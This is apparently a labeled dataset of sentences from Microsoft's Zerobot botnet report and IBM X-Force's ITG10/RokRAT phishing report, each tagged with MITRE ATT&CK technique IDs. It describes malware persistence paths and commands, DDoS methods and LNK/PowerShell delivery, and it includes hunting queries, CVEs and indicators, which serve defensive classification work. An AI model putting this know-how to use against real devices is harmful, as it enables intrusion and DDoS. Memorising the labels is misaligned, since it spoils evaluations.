{"sentence": "The bash script that attempts to download different Zerobot binaries tries to identify the architecture by brute-force, attempting to download and execute binaries of various architectures until it succeeds, as IoT devices are based on many computer processing units (CPUs).", "labels": ["T1082", "T1105"], "doc_title": "Microsoft research uncovers new Zerobot capabilities  Microsoft Security Blog"}
{"sentence": "Microsoft has observed scripts targeting various architectures including ARM64, MIPS, and x86_64.", "labels": [], "doc_title": "Microsoft research uncovers new Zerobot capabilities  Microsoft Security Blog"}
{"sentence": "Depending on the operating system of the device, the malware has different persistence mechanisms.", "labels": [], "doc_title": "Microsoft research uncovers new Zerobot capabilities  Microsoft Security Blog"}
{"sentence": "Persistence tactics are used by malware operators to obtain and maintain access to devices.", "labels": [], "doc_title": "Microsoft research uncovers new Zerobot capabilities  Microsoft Security Blog"}
{"sentence": "While Zerobot is unable to spread to Windows machines, we have found several samples that can run on Windows.", "labels": [], "doc_title": "Microsoft research uncovers new Zerobot capabilities  Microsoft Security Blog"}
{"sentence": "On Windows machines, the malware copies itself to the Startup folder with the file name FireWall.exe", "labels": ["T1547.001"], "doc_title": "Microsoft research uncovers new Zerobot capabilities  Microsoft Security Blog"}
{"sentence": "(older versions use my.exe).", "labels": [], "doc_title": "Microsoft research uncovers new Zerobot capabilities  Microsoft Security Blog"}
{"sentence": "Microsoft Defender for Endpoint detects this malware and related malicious activity on both Windows and Linux devices.", "labels": [], "doc_title": "Microsoft research uncovers new Zerobot capabilities  Microsoft Security Blog"}
{"sentence": "See detection details below.", "labels": [], "doc_title": "Microsoft research uncovers new Zerobot capabilities  Microsoft Security Blog"}
{"sentence": "To achieve persistence on Linux-based devices, Zerobot uses a combination of desktop entry, daemon, and service methods: Desktop entry: Zerobot copies itself to $HOME/.config/ssh.service/sshf then writes a desktop entry file called sshf.desktop to the same directory.", "labels": [], "doc_title": "Microsoft research uncovers new Zerobot capabilities  Microsoft Security Blog"}
{"sentence": "Older Linux versions use $HOME/.config/autostart instead of $HOME/.config/ssh.service.", "labels": [], "doc_title": "Microsoft research uncovers new Zerobot capabilities  Microsoft Security Blog"}
{"sentence": "Daemon: Copies itself to /usr/bin/sshf and writes a configuration at /etc/init/sshf.conf.", "labels": [], "doc_title": "Microsoft research uncovers new Zerobot capabilities  Microsoft Security Blog"}
{"sentence": "Service: Copies itself to /etc/sshf and writes a service configuration at /lib/system/system/sshf.service, then enables the service (to make sure it starts at boot) with two commands: systemctl enable sshf service enable sshf All persistence mechanisms on older Linux versions use my.bin and my.bin.desktop instead of sshf and sshf.desktop.", "labels": [], "doc_title": "Microsoft research uncovers new Zerobot capabilities  Microsoft Security Blog"}
{"sentence": "New attack capabilities", "labels": [], "doc_title": "Microsoft research uncovers new Zerobot capabilities  Microsoft Security Blog"}
{"sentence": "In addition to the functions and attacks included in previous versions of the malware, Zerobot 1.1 has additional DDoS attack capabilities.", "labels": [], "doc_title": "Microsoft research uncovers new Zerobot capabilities  Microsoft Security Blog"}
{"sentence": "These functions allow threat actors to target resources and make them inaccessible.", "labels": [], "doc_title": "Microsoft research uncovers new Zerobot capabilities  Microsoft Security Blog"}
{"sentence": "Successful DDoS attacks may be used by threat actors to extort ransom payments, distract from other malicious activities, or disrupt operations.", "labels": [], "doc_title": "Microsoft research uncovers new Zerobot capabilities  Microsoft Security Blog"}
{"sentence": "In almost every attack, the destination port is customizable, and threat actors who purchase the malware can modify the attack according to their target.", "labels": [], "doc_title": "Microsoft research uncovers new Zerobot capabilities  Microsoft Security Blog"}
{"sentence": "The following are the previously known Zerobot capabilities: Attack methodDescriptionUDP_LEGITSends UDP packets without data.", "labels": ["T1095"], "doc_title": "Microsoft research uncovers new Zerobot capabilities  Microsoft Security Blog"}
{"sentence": "MC_PINGMeant for DDoS on Minecraft servers.", "labels": [], "doc_title": "Microsoft research uncovers new Zerobot capabilities  Microsoft Security Blog"}
{"sentence": "Sends a handshake and status request.", "labels": ["T1095"], "doc_title": "Microsoft research uncovers new Zerobot capabilities  Microsoft Security Blog"}
{"sentence": "TCP_HANDSHAKEFloods with TCP handshakes.", "labels": ["T1095"], "doc_title": "Microsoft research uncovers new Zerobot capabilities  Microsoft Security Blog"}
{"sentence": "TCP_SOCKETContinuously sends random payloads on an open TCP socket.", "labels": ["T1095"], "doc_title": "Microsoft research uncovers new Zerobot capabilities  Microsoft Security Blog"}
{"sentence": "Payload length is customizable.", "labels": ["T1071.001"], "doc_title": "Microsoft research uncovers new Zerobot capabilities  Microsoft Security Blog"}
{"sentence": "TLS_SOCKETContinuously sends random payloads on an open TLS socket.", "labels": ["T1095"], "doc_title": "Microsoft research uncovers new Zerobot capabilities  Microsoft Security Blog"}
{"sentence": "HTTP_HANDLESends HTTP GET requests using a Golang standard library.", "labels": ["T1071.001"], "doc_title": "Microsoft research uncovers new Zerobot capabilities  Microsoft Security Blog"}
{"sentence": "HTTP_RAWFormats and sends HTTP GET requests.", "labels": ["T1071.001"], "doc_title": "Microsoft research uncovers new Zerobot capabilities  Microsoft Security Blog"}
{"sentence": "HTTP_BYPASSSends HTTP GET requests with spoofed headers.", "labels": ["T1071.001"], "doc_title": "Microsoft research uncovers new Zerobot capabilities  Microsoft Security Blog"}
{"sentence": "HTTP_NULLHTTP", "labels": ["T1071.001"], "doc_title": "Microsoft research uncovers new Zerobot capabilities  Microsoft Security Blog"}
{"sentence": "headers are each one random byte (not necessarily ascii).Previously undisclosed and new capabilities are the following: Attack methodDescriptionUDP_RAWSends UDP packets where the payload is customizable.", "labels": ["T1071.001", "T1095"], "doc_title": "Microsoft research uncovers new Zerobot capabilities  Microsoft Security Blog"}
{"sentence": "ICMP_FLOODSupposed to be an ICMP flood, but the packet is built incorrectly.", "labels": ["T1095"], "doc_title": "Microsoft research uncovers new Zerobot capabilities  Microsoft Security Blog"}
{"sentence": "TCP_CUSTOMSends TCP packets where the payload and flags are fully customizable.", "labels": ["T1095"], "doc_title": "Microsoft research uncovers new Zerobot capabilities  Microsoft Security Blog"}
{"sentence": "TCP_SYNSends SYN packets.", "labels": ["T1095"], "doc_title": "Microsoft research uncovers new Zerobot capabilities  Microsoft Security Blog"}
{"sentence": "TCP_ACKSends ACK packets.", "labels": ["T1095"], "doc_title": "Microsoft research uncovers new Zerobot capabilities  Microsoft Security Blog"}
{"sentence": "TCP_SYNACKSends SYN-ACK packets.", "labels": ["T1095"], "doc_title": "Microsoft research uncovers new Zerobot capabilities  Microsoft Security Blog"}
{"sentence": "TCP_XMASChristmas tree attack (all TCP flags are set).", "labels": ["T1095"], "doc_title": "Microsoft research uncovers new Zerobot capabilities  Microsoft Security Blog"}
{"sentence": "The reset cause field is “xmas”.", "labels": [], "doc_title": "Microsoft research uncovers new Zerobot capabilities  Microsoft Security Blog"}
{"sentence": "How Zerobot spreads After persistence is achieved, Zerobot scans for other internet-exposed devices to infect.", "labels": [], "doc_title": "Microsoft research uncovers new Zerobot capabilities  Microsoft Security Blog"}
{"sentence": "The malware randomly generates a number between 0 and 255 and scans all IPs starting with this value.", "labels": [], "doc_title": "Microsoft research uncovers new Zerobot capabilities  Microsoft Security Blog"}
{"sentence": "Using a function called new_botnet_selfRepo_isHoneypot, the malware tries to identify honeypot IP addresses, which are used by network decoys to attract cyberattacks and collect information on threats and attempts to access resources.", "labels": [], "doc_title": "Microsoft research uncovers new Zerobot capabilities  Microsoft Security Blog"}
{"sentence": "This function includes 61 IP subnets, preventing scanning of these IPs.", "labels": [], "doc_title": "Microsoft research uncovers new Zerobot capabilities  Microsoft Security Blog"}
{"sentence": "Microsoft researchers also identified a sample that can run on Windows based on a cross-platform (Linux, Windows, macOS) open-source remote administration tool (RAT) with various features such as managing processes, file operations, screenshotting, and running commands.", "labels": ["T1059.003", "T1113", "T1219"], "doc_title": "Microsoft research uncovers new Zerobot capabilities  Microsoft Security Blog"}
{"sentence": "This tool was found by investigating the command-and-control (C2) IPs used by the malware.", "labels": [], "doc_title": "Microsoft research uncovers new Zerobot capabilities  Microsoft Security Blog"}
{"sentence": "The script, which is used to download this RAT, is called impst.sh: Figure 1.", "labels": ["T1105"], "doc_title": "Microsoft research uncovers new Zerobot capabilities  Microsoft Security Blog"}
{"sentence": "The impst.sh script used to download the remote administration toolDefending devices and networks against Zerobot The continuous evolution and rapid addition of new capabilities in the latest Zerobot version underscores the urgency of implementing comprehensive security measures.", "labels": [], "doc_title": "Microsoft research uncovers new Zerobot capabilities  Microsoft Security Blog"}
{"sentence": "Microsoft recommends the following steps to protect devices and networks against the threat of Zerobot: Use security solutions with cross-domain visibility and detection capabilities like Microsoft 365 Defender, which provides integrated defense across endpoints, identities, email, applications, and data.", "labels": [], "doc_title": "Microsoft research uncovers new Zerobot capabilities  Microsoft Security Blog"}
{"sentence": "Microsoft Defender Antivirus and Microsoft Defender for Endpoint detect Zerobot malware variants and malicious behavior related to this threat.", "labels": [], "doc_title": "Microsoft research uncovers new Zerobot capabilities  Microsoft Security Blog"}
{"sentence": "Adopt a comprehensive IoT security solution such as Microsoft Defender for IoT to allow visibility and monitoring of all IoT and OT devices, threat detection and response, and integration with SIEM/SOAR and XDR platforms such as Microsoft Sentinel and Microsoft 365 Defender.", "labels": [], "doc_title": "Microsoft research uncovers new Zerobot capabilities  Microsoft Security Blog"}
{"sentence": "Ensure secure configurations for devices: Change the default password to a strong one, and block SSH from external access.", "labels": [], "doc_title": "Microsoft research uncovers new Zerobot capabilities  Microsoft Security Blog"}
{"sentence": "Maintain device health with updates: Make sure devices are up to date with the latest firmware and patches.", "labels": [], "doc_title": "Microsoft research uncovers new Zerobot capabilities  Microsoft Security Blog"}
{"sentence": "Use least privileges access: Use a secure virtual private network (VPN) service for remote access and restrict remote access to the device.", "labels": [], "doc_title": "Microsoft research uncovers new Zerobot capabilities  Microsoft Security Blog"}
{"sentence": "Harden endpoints with a comprehensive Windows security solution:Manage the apps your employees can use through Windows Defender Application Control and for unmanaged solutions, enabling Smart App Control.", "labels": [], "doc_title": "Microsoft research uncovers new Zerobot capabilities  Microsoft Security Blog"}
{"sentence": "Perform timely cleanup of all unused and stale executables sitting on yours or your organizations’ devices.", "labels": [], "doc_title": "Microsoft research uncovers new Zerobot capabilities  Microsoft Security Blog"}
{"sentence": "Detections Microsoft Defender for IoT Microsoft Defender for IoT uses detection rules and signatures to identify malicious behavior.", "labels": [], "doc_title": "Microsoft research uncovers new Zerobot capabilities  Microsoft Security Blog"}
{"sentence": "Microsoft Defender for IoT has alerts for the following vulnerabilities and exploits which may be tied to Zerobot activity: CVE-2014-8361 CVE-2016-20017 CVE-2017-17105 CVE-2017-17215 CVE-2018-10561 CVE-2018-20057 CVE-2019-10655 CVE-2020-7209 CVE-2020-10987 CVE-2020-25506 CVE-2021-35395 CVE-2021-36260 CVE-2021-42013 CVE-2021-46422 CVE-2022-22965 CVE-2022-25075 CVE-2022-26186 CVE-2022-26210 CVE-2022-30023 CVE-2022-30525 CVE-2022-31137 CVE-2022-33891 CVE-2022-34538 CVE-2022-37061 ZERO-36290 ZSL-2022-5717 Microsoft Defender Antivirus Microsoft Defender Antivirus detects the malicious files under the following platforms and threat names:", "labels": [], "doc_title": "Microsoft research uncovers new Zerobot capabilities  Microsoft Security Blog"}
{"sentence": "Zerobot (Win32/64 and Linux) SparkRat (Win32/64 and Linux)", "labels": [], "doc_title": "Microsoft research uncovers new Zerobot capabilities  Microsoft Security Blog"}
{"sentence": "Microsoft Defender for Endpoint Microsoft Defender for Endpoint alerts with the following titles can indicate threat activity on your network: DEV-1061 threat activity group detected An active ‘PrivateLoader’ malware process was detected while executing ‘Morila’ malware was prevented ‘Multiverze’ malware was detected Microsoft Defender for Endpoint also has detections for the following vulnerabilities exploited by Zerobot: CVE-2022-22965 (Spring4Shell) Microsoft Defender for Endpoint’s Device Discovery capabilities discover and classify devices.", "labels": [], "doc_title": "Microsoft research uncovers new Zerobot capabilities  Microsoft Security Blog"}
{"sentence": "With these capabilities, Microsoft 365 Defender customers using Microsoft Defender for IoT have visibility into security recommendations for devices with the following vulnerabilities: CVE-2014-8361 CVE-2019-10655 CVE-2020-25506 CVE-2021-36260 CVE-2021-42013 CVE-2022-30525 CVE-2022-31137 CVE-2022-37061 Devices with these vulnerabilities are also visible in the Microsoft Defender Vulnerability Management inventory.", "labels": [], "doc_title": "Microsoft research uncovers new Zerobot capabilities  Microsoft Security Blog"}
{"sentence": "Microsoft Defender for Cloud Microsoft Defender for Cloud alerts with the following titles can indicate threat activity on your network: VM_ReverseShell VM_SuspectDownloadArtifacts SQL.VM_ShellExternalSourceAnomaly AppServices_CurlToDisk Advanced hunting queries Microsoft 365 Defender Microsoft 365 Defender customers can run the following query to find related activity in their networks.", "labels": [], "doc_title": "Microsoft research uncovers new Zerobot capabilities  Microsoft Security Blog"}
{"sentence": "Zerobot files This query finds the file hashes associated with Zerobot activity.", "labels": [], "doc_title": "Microsoft research uncovers new Zerobot capabilities  Microsoft Security Blog"}
{"sentence": "let IoCList = externaldata(TimeGenerated:datetime,IoC:string,IoC_Type:string,ExpirationDateTime:datetime,Description:string, Action:string, ConfidenceScore:real, ThreatType:string, Active:string,Type:string, TrafficLightProtocolLevel:string, ActivityGroupNames:string)[@\"https://raw.githubusercontent.com/microsoft/mstic/master/RapidReleaseTI/Indicators.csv\"] with(format=\"csv\", ignoreFirstRecord=True); let shahashes = IoCList | where IoC_Type =~ \"sha256\" and Description =~ \"Dev-1061 Zerobot affecting IoT devices\" | distinct IoC; DeviceFileEvents | where SHA256 in (shahashes) Zerobot HTTP requests This query finds suspicious HTTP requests originated by the IOCs associated with Zerobot activity.", "labels": ["T1071.001"], "doc_title": "Microsoft research uncovers new Zerobot capabilities  Microsoft Security Blog"}
{"sentence": "DeviceNetworkEvents | where RemoteIP in(\"176.65.137.5\",\"176.65.137.6\") | where ActionType == \"NetworkSignatureInspected\" | where Timestamp > ago(30d) |extend json = parse_json(AdditionalFields) | extend SignatureName =tostring(json.SignatureName), SignatureMatchedContent = tostring(json.SignatureMatchedContent), SignatureSampleContent = tostring(json.", "labels": [], "doc_title": "Microsoft research uncovers new Zerobot capabilities  Microsoft Security Blog"}
{"sentence": "SamplePacketContent) |where SignatureName", "labels": [], "doc_title": "Microsoft research uncovers new Zerobot capabilities  Microsoft Security Blog"}
{"sentence": "== \"HTTP_Client\" |project Timestamp, DeviceId, DeviceName, RemoteIP, RemotePort, LocalIP, LocalPort, SignatureName, SignatureMatchedContent, SignatureSampleContent Zerobot port knocking This query finds incoming connections from IOCs associated with Zerobot activity.", "labels": [], "doc_title": "Microsoft research uncovers new Zerobot capabilities  Microsoft Security Blog"}
{"sentence": "DeviceNetworkEvents | where RemoteIP in(\"176.65.137.5\",\"176.65.137.6\") | where ActionType == \"InboundConnectionAccepted\" | where Timestamp > ago(30d) |project Timestamp, DeviceId, DeviceName, RemoteIP, RemotePort, LocalIP, LocalPort, InitiatingProcessFileName Microsoft Sentinel Microsoft Sentinel customers can use the TI Mapping analytics (a series of analytics all prefixed with ‘TI map’) to automatically match the malicious domain indicators mentioned in this blog post with data in their workspace.", "labels": [], "doc_title": "Microsoft research uncovers new Zerobot capabilities  Microsoft Security Blog"}
{"sentence": "More details on the Content Hub can be found here: https://learn.microsoft.com/azure/sentinel/sentinel-solutions-deploy Indicators of compromise (IOCs): Domains and IP addresses: zero[.]sudolite[.]ml 176.65.137[.]5 176.65.137[.]5:1401 176.65.137[.]6 ws[:]//176.65.137[.]5/handle http[:]//176.65.137[.]5:8000/ws New Zerobot hashes (SHA-256) aed95a8f5822e9b1cd1239abbad29d3c202567afafcf00f85a65df4a365bedbb bf582b5d470106521a8e7167a5732f7e3a4330d604de969eb8461cbbbbdd9b9a 0a5eebf19ccfe92a2216c492d6929f9cac72ef37089390572d4e21d0932972c8", "labels": [], "doc_title": "Microsoft research uncovers new Zerobot capabilities  Microsoft Security Blog"}
{"sentence": "1e7ca210ff7bedeefadb15a9ec5ea68ad9022d0c6f41c4e548ec2e5927026ba4 05b7517cb05fe1124dd0fad4e85ddf0fe65766a4c6c9986806ae98a427544e9d 5625d41f239e2827eb05bfafde267109549894f0523452f7a306b53b90e847f2 c304a9156a032fd451bff49d75b0e9334895604549ab6efaab046c5c6461c8b3 66c76cfc64b7a5a06b6a26976c88e24e0518be3554b5ae9e3475c763b8121792 539640a482aaee2fe743502dc59043f11aa8728ce0586c800193e30806b2d0e5 0f0ba8cc3e46fff0eef68ab5f8d3010241e2eea7ee795e161f05d32a0bf13553 343c9ca3787bf763a70ed892dfa139ba69141b61c561c128084b22c16829c5af 874b0691378091a30d1b06f2e9756fc7326d289b03406023640c978ff7c87712 29eface0054da4cd91c72a0b2d3cda61a02831b4c273e946d7e106254a6225a7 4a4cb8516629c781d5557177d48172f4a7443ca1f826ea2e1aa6132e738e6db2 bdfd89bdf6bc2de5655c3fe5f6f4435ec4ad37262e3cc72d8cb5204e1273ccd6 62f23fea8052085d153ac7b26dcf0a15fad0c27621f543cf910e37f8bf822e0e 788e15fd87c45d38629e3e715b0cb93e55944f7c4d59da2e480ffadb6b981571 26e68684f5b76d9016d4f02b8255ff52d1b344416ffc19a2f5c793ff1c2fdc65 e4840c5ac2c2c2170d00feadb5489c91c2943b2aa13bbec00dbcffc4ba8dcc2d 45059f26e32da95f4bb5dababae969e7fceb462cdeadf7d141c39514636b905a 77dd28a11e3e4260b9a9b60d58cb6aaaf2147da28015508afbaeda84c1acfe70 cf232e7d39094c9ba04b9713f48b443e9d136179add674d62f16371bf40cf8c8 13657b64a2ac62f9d68aeb75737cca8f2ab9f21e4c38ce04542b177cb3a85521 eb33c98add35f6717a3afb0ab2f9c0ee30c6f4e0576046be9bf4fbf9c5369f71 e3dd20829a34caab7f1285b730e2bb0c84c90ac1027bd8e9090da2561a61ab17 3685d000f6a884ca06f66a3e47340e18ff36c16b1badb80143f99f10b8a33768 cdc28e7682f9951cbe2e55dad8bc2015c1591f89310d8548c0b7a1c65dbefae3 869f4fb3f185b2d1231d9378273271ddfeebb53085daede89989f9cc8d364f5f 6c59af3ed1a616c238ee727f6ed59e962db70bc5a418b20b24909867eb00a9d6 ef28ee3301e97eefd2568a3cb4b0f737c5f31983710c75b70d960757f2def74e 95e4cc13f8388c195a1220cd44d26fcb2e10b7b8bfc3d69efbc51beb46176ff1 62f9eae8a87f64424df90c87dd34401fe7724c87a394d1ba842576835ab48afc 54d1daf58ecd4d8314b791a79eda2258a69d7c69a5642b7f5e15f2210958bdce 8176991f355db10b32b7562d1d4f7758a23c7e49ed83984b86930b94ccc46ab3 8aa89a428391683163f0074a8477d554d6c54cab1725909c52c41db2942ac60f fd65bd8ce671a352177742616b5facc77194cccec7555a2f90ff61bad4a7a0f6 1e66ee40129deccdb6838c2f662ce33147ad36b1e942ea748504be14bb1ee0ef 57f83ca864a2010d8d5376c68dc103405330971ade26ac920d6c6a12ea728d3d 7bfd0054aeb8332de290c01f38b4b3c6f0826cf63eef99ddcd1a593f789929d6 SparkRat hashes (SHA-256): 0ce7bc2b72286f236c570b1eb1c1eacf01c383c23ad76fd8ca51b8bc123be340 cacb77006b0188d042ce95e0b4d46f88828694f3bf4396e61ae7c24c2381c9bf 65232e30bb8459961a6ab2e9af499795941c3d06fdd451bdb83206a00b1b2b88 Rotem Sde-Or, Ilana Sivan, Gil Regev, Microsoft Defender for IoT Research TeamMeitar Pinto, Nimrod Roimy, Nir Avnery, Microsoft Defender Research TeamRamin Nafisi, Ross Bevington, Microsoft Threat Intelligence Center (MSTIC)", "labels": [], "doc_title": "Microsoft research uncovers new Zerobot capabilities  Microsoft Security Blog"}
{"sentence": "In late April 2023, IBM Security X-Force uncovered documents that are most likely part of a phishing campaign mimicking credible senders, orchestrated by a group X-Force refers to as ITG10, and aimed at delivering RokRAT malware, similar to what has been observed by others.", "labels": [], "doc_title": "ITG10 Likely Targeting South Korean Entities of Interest to the Democratic Peoples Republic of Korea DPRK"}
{"sentence": "ITG10’s tactics, techniques and procedures (TTPs) overlap with APT37 and ScarCruft.", "labels": [], "doc_title": "ITG10 Likely Targeting South Korean Entities of Interest to the Democratic Peoples Republic of Korea DPRK"}
{"sentence": "The initial delivery method is conducted via a LNK file, which drops two Windows shortcut files containing obfuscated PowerShell scripts in charge of downloading a second stage RokRAT shellcode.", "labels": ["T1027", "T1105"], "doc_title": "ITG10 Likely Targeting South Korean Entities of Interest to the Democratic Peoples Republic of Korea DPRK"}
{"sentence": "RokRAT can execute remote C2 commands, data exfiltration, file download/upload, and keylogging.", "labels": ["T1056.001", "T1105"], "doc_title": "ITG10 Likely Targeting South Korean Entities of Interest to the Democratic Peoples Republic of Korea DPRK"}
{"sentence": "The uncovered lure documents suggest ITG10 may be targeting individuals and organizations involved in foreign policy associated with the Korean peninsula.", "labels": [], "doc_title": "ITG10 Likely Targeting South Korean Entities of Interest to the Democratic Peoples Republic of Korea DPRK"}
{"sentence": "Key Findings: ITG10 likely targeting South Korean government, universities, think tanks, and dissidents Phishing emails spoof legitimate senders to deliver RokRAT via LNK files Email attachments mimic legitimate documents Additional malware samples possibly related to ITG10 RokRAT campaigns Decoy Documents In late April 2023, X-Force uncovered several Zip Archives files hosting multiple lure documents likely sent via phishing campaigns operated by ITG10. X-Force assesses that the documents are likely decoys geared toward various personnel within two subsets of activity: South Korean government, communication, and educational centers; and energy, manufacturing, and supply chain.", "labels": ["T1566.001"], "doc_title": "ITG10 Likely Targeting South Korean Entities of Interest to the Democratic Peoples Republic of Korea DPRK"}
{"sentence": "This section provides analysis of the lure documents and potential targets.", "labels": [], "doc_title": "ITG10 Likely Targeting South Korean Entities of Interest to the Democratic Peoples Republic of Korea DPRK"}
{"sentence": "South Korean Government, Communications and Educational Centers", "labels": [], "doc_title": "ITG10 Likely Targeting South Korean Entities of Interest to the Democratic Peoples Republic of Korea DPRK"}
{"sentence": "The first suspected subset of activity revealed Korean-language lure documents.", "labels": [], "doc_title": "ITG10 Likely Targeting South Korean Entities of Interest to the Democratic Peoples Republic of Korea DPRK"}
{"sentence": "The first titled (0722)상임위원회 및 상설특별위원회 위원 명단(최종).zip", "labels": [], "doc_title": "ITG10 Likely Targeting South Korean Entities of Interest to the Democratic Peoples Republic of Korea DPRK"}
{"sentence": "[(0722) List of Standing Committee and Standing Special Committee members (final).zip)], contains charts listing the Standing Committee members and assignments associated with broadcast media in South Korea as of July 2022.", "labels": [], "doc_title": "ITG10 Likely Targeting South Korean Entities of Interest to the Democratic Peoples Republic of Korea DPRK"}
{"sentence": "Examination of the contents suggests that it is a directory of eighteen South Korean parliamentary committee assignments, the number of committee members, their names, and political party affiliation.", "labels": [], "doc_title": "ITG10 Likely Targeting South Korean Entities of Interest to the Democratic Peoples Republic of Korea DPRK"}
{"sentence": "Committees include Education and Judicial, International and Foreign Affairs, Defense, and Intelligence.", "labels": [], "doc_title": "ITG10 Likely Targeting South Korean Entities of Interest to the Democratic Peoples Republic of Korea DPRK"}
{"sentence": "The intended targets for this lure are likely to be parliamentary members seeking information on their committee assignment or reporters covering parliament.", "labels": [], "doc_title": "ITG10 Likely Targeting South Korean Entities of Interest to the Democratic Peoples Republic of Korea DPRK"}
{"sentence": "(0722)상임위원회 및 상설특별위원회 위원 명단(최종).zip", "labels": [], "doc_title": "ITG10 Likely Targeting South Korean Entities of Interest to the Democratic Peoples Republic of Korea DPRK"}
{"sentence": "An additional decoy document titled 계약서내용.pdf (Contract detail.pdf) appears to be associated with a national South Korean broadcaster.", "labels": [], "doc_title": "ITG10 Likely Targeting South Korean Entities of Interest to the Democratic Peoples Republic of Korea DPRK"}
{"sentence": "The contents detail the company’s approach to radio drama production scheduled for broadcast in May 2023.", "labels": [], "doc_title": "ITG10 Likely Targeting South Korean Entities of Interest to the Democratic Peoples Republic of Korea DPRK"}
{"sentence": "North Korean sponsored threat actors have previously been known to create accounts posing as broadcasting scriptwriters to deceive watchers.", "labels": [], "doc_title": "ITG10 Likely Targeting South Korean Entities of Interest to the Democratic Peoples Republic of Korea DPRK"}
{"sentence": "In 2021, North Korean threat actors compromised several email accounts of prominent defectors to send malicious documents to contacts working on DPRK issues.", "labels": [], "doc_title": "ITG10 Likely Targeting South Korean Entities of Interest to the Democratic Peoples Republic of Korea DPRK"}
{"sentence": "ITG10 has also been known to infect news websites with malware likely to spy on readers.", "labels": [], "doc_title": "ITG10 Likely Targeting South Korean Entities of Interest to the Democratic Peoples Republic of Korea DPRK"}
{"sentence": "A third decoy 2023년도 4월 29일 세미나.pdf (April 29, 2023 Seminar.pdf) appears to be an itinerary for an event hosted in April 2023 by a South Korean think tank.", "labels": [], "doc_title": "ITG10 Likely Targeting South Korean Entities of Interest to the Democratic Peoples Republic of Korea DPRK"}
{"sentence": "The event includes multiple seminars on political theory, military history, and a talk on “Intelligence activities and cyber security of the National Intelligence Service.”", "labels": [], "doc_title": "ITG10 Likely Targeting South Korean Entities of Interest to the Democratic Peoples Republic of Korea DPRK"}
{"sentence": "Members of this think tank include professors from multiple universities and South Korean government entities.", "labels": [], "doc_title": "ITG10 Likely Targeting South Korean Entities of Interest to the Democratic Peoples Republic of Korea DPRK"}
{"sentence": "There are two mobile phone numbers and a Zoom link with a password in the decoy document, which can be scraped to launch phishing material over social medial platforms.", "labels": [], "doc_title": "ITG10 Likely Targeting South Korean Entities of Interest to the Democratic Peoples Republic of Korea DPRK"}
{"sentence": "Based on the document’s content, academic and government employees, especially those in intelligence and cybersecurity, are probable targets for phishing emails containing this type of decoy document.", "labels": ["T1566.001"], "doc_title": "ITG10 Likely Targeting South Korean Entities of Interest to the Democratic Peoples Republic of Korea DPRK"}
{"sentence": "2023년도 4월 29일 세미나.pdf Energy, Manufacturing and Supply Chain The second grouping of lure documents features a zip file projects in Libya.zip containing a LNK file Pipelines Profile (Elfeel- Sharara-Mellitah + Wafa – Mellitah).lnk, as well as additional English-language decoy files.", "labels": [], "doc_title": "ITG10 Likely Targeting South Korean Entities of Interest to the Democratic Peoples Republic of Korea DPRK"}
{"sentence": "The decoy files are a Microsoft Word Document and PDF copy of a document titled Proposed MOU GTE Korea.", "labels": [], "doc_title": "ITG10 Likely Targeting South Korean Entities of Interest to the Democratic Peoples Republic of Korea DPRK"}
{"sentence": "The documents appear to be legitimate and establish a written Memorandum of Understanding (MOU) between an authentic privately owned Libyan energy company and a South Korean consulting firm specializing in energy, procurement, construction and finance (EPC&F).", "labels": [], "doc_title": "ITG10 Likely Targeting South Korean Entities of Interest to the Democratic Peoples Republic of Korea DPRK"}
{"sentence": "In addition, the zip contains a second non-malicious lure PDF titled MFZ Executive Summary Korea detailing a feasibility study regarding the development and expansion of the “sea port free zone of Misurata.”", "labels": [], "doc_title": "ITG10 Likely Targeting South Korean Entities of Interest to the Democratic Peoples Republic of Korea DPRK"}
{"sentence": "Based on the decoy content, the likely recipients of this phishing campaign would be organizations or individuals involved with a construction project in the Middle East.", "labels": [], "doc_title": "ITG10 Likely Targeting South Korean Entities of Interest to the Democratic Peoples Republic of Korea DPRK"}
{"sentence": "The Middle East has been a traditional customer for many large-scale construction projects for multiple South Korean companies, and there has been a recent push by the South Korean administration to what’s known as the ‘2nd construction boom’.", "labels": [], "doc_title": "ITG10 Likely Targeting South Korean Entities of Interest to the Democratic Peoples Republic of Korea DPRK"}
{"sentence": "These construction projects are part of the South Korean government’s pivot to the Middle East, deepening ties both militarily and economically.", "labels": [], "doc_title": "ITG10 Likely Targeting South Korean Entities of Interest to the Democratic Peoples Republic of Korea DPRK"}
{"sentence": "Sample Analysis RokRAT has been previously analyzed as having a multi-stage process with two components.", "labels": [], "doc_title": "ITG10 Likely Targeting South Korean Entities of Interest to the Democratic Peoples Republic of Korea DPRK"}
{"sentence": "The first involves tooling, and the second involves the payload, likely to inhibit researchers from analyzing the final payload, while maintaining the ability to stop delivery once a target system is infected.", "labels": [], "doc_title": "ITG10 Likely Targeting South Korean Entities of Interest to the Democratic Peoples Republic of Korea DPRK"}
{"sentence": "RokRAT campaigns typically begin with a phishing email with a ZIP file attachment, containing a LNK file disguised as a Word document.", "labels": ["T1566.001"], "doc_title": "ITG10 Likely Targeting South Korean Entities of Interest to the Democratic Peoples Republic of Korea DPRK"}
{"sentence": "When the LNK file is activated, a PowerShell script is executed, opening a decoy document to start the download process of RokRAT which is hosted at OneDrive or similar cloud application.", "labels": ["T1105"], "doc_title": "ITG10 Likely Targeting South Korean Entities of Interest to the Democratic Peoples Republic of Korea DPRK"}
{"sentence": "In another campaign, ITG10 was observed delivering RokRAT via HWP and Word files containing LNK files.", "labels": [], "doc_title": "ITG10 Likely Targeting South Korean Entities of Interest to the Democratic Peoples Republic of Korea DPRK"}
{"sentence": "In X-Force’s analysis of recent RokRAT-related files, in lieu of a ZIP file, we found Optical Disc Image files (ISO) containing LNK files that had slightly modified PowerShell scripts, and Hangul Word Processor decoy documents (HWP).", "labels": ["T1027"], "doc_title": "ITG10 Likely Targeting South Korean Entities of Interest to the Democratic Peoples Republic of Korea DPRK"}
{"sentence": "ISO Files The ISO files that X-Force observed contained a LNK file disguised as an exe icon, subsequently containing a HWP file, and a batch file.", "labels": ["T1027", "T1059.003"], "doc_title": "ITG10 Likely Targeting South Korean Entities of Interest to the Democratic Peoples Republic of Korea DPRK"}
{"sentence": "The LNK file contains a PowerShell command, as seen below as an example.", "labels": [], "doc_title": "ITG10 Likely Targeting South Korean Entities of Interest to the Democratic Peoples Republic of Korea DPRK"}
{"sentence": "Once the LNK file is executed, it extracts and drops a decoy file, and a batch file within the user’s %TEMP% folder.", "labels": ["T1059.003"], "doc_title": "ITG10 Likely Targeting South Korean Entities of Interest to the Democratic Peoples Republic of Korea DPRK"}
{"sentence": "In this instance, the files were 2023년도 4월 29일 세미나.pdf – decoy file, and 230415.bat.", "labels": [], "doc_title": "ITG10 Likely Targeting South Korean Entities of Interest to the Democratic Peoples Republic of Korea DPRK"}
